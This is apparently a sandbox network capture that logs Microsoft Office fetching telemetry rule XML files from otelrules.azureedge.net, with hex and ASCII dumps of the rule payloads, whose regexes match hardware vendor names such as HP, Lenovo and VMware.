2024-10-18 22:13:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.10	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:48 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:48 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 68e1d423-f01e-005d-5bd8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221348Z-15b8d89586f6nn8zwfkdy3t04s00000005hg00000000dy59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:48 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.10	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:48 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:48 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3d3525b4-b01e-0001-72d8-1e46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221348Z-15b8d89586f42m67uh3prmsdrs00000005yg0000000007dw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:48 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.10	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:48 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:48 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 2b077638-201e-003c-08d8-1e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221348Z-16b659b4499xhcppz4ucy307n400000009p000000000he5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:48 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.10	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:48 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:48 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:48 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 52ecfd05-901e-0029-01d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221348Z-16b659b4499bnwsctrq8dt6ghw0000000ah000000000178x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:48 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.10	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:49 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:49 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 84133f47-001e-0014-21d8-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221349Z-16b659b4499p9z6wm7hd85vp6w00000001vg000000002338 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:49 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.10	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:49 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 1b2fb3ba-201e-0033-65ce-20b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221349Z-15b8d89586fnsf5zv100scmx1000000005hg00000000fnag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.10	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:49 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:49 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:49 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0c01d776-601e-0084-1bd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221349Z-16b659b44992vd4bkk50pmnxt00000000dug0000000059p1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:49 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.10	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:49 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:49 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 2ef95996-601e-0070-2cd8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221349Z-16b659b4499f5gh931bbxe97rs0000000ap000000000p3b7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:49 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.10	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:49 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:49 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ad3e2c7c-901e-0064-12d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221349Z-15b8d89586fx2hlt035xdehq5800000005v0000000006b2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:49 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.10	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:50 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:50 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c8d8fd80-d01e-005a-2dd8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221350Z-16b659b4499gh2srh1fh903xkw0000000br000000000z655 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:50 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.10	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:50 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:50 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:50 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 0d9b9182-001e-0049-2f00-215bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221350Z-16b659b4499sg56vuc9t9dmdq40000000dv000000000e74y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:50 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.10	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:50 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
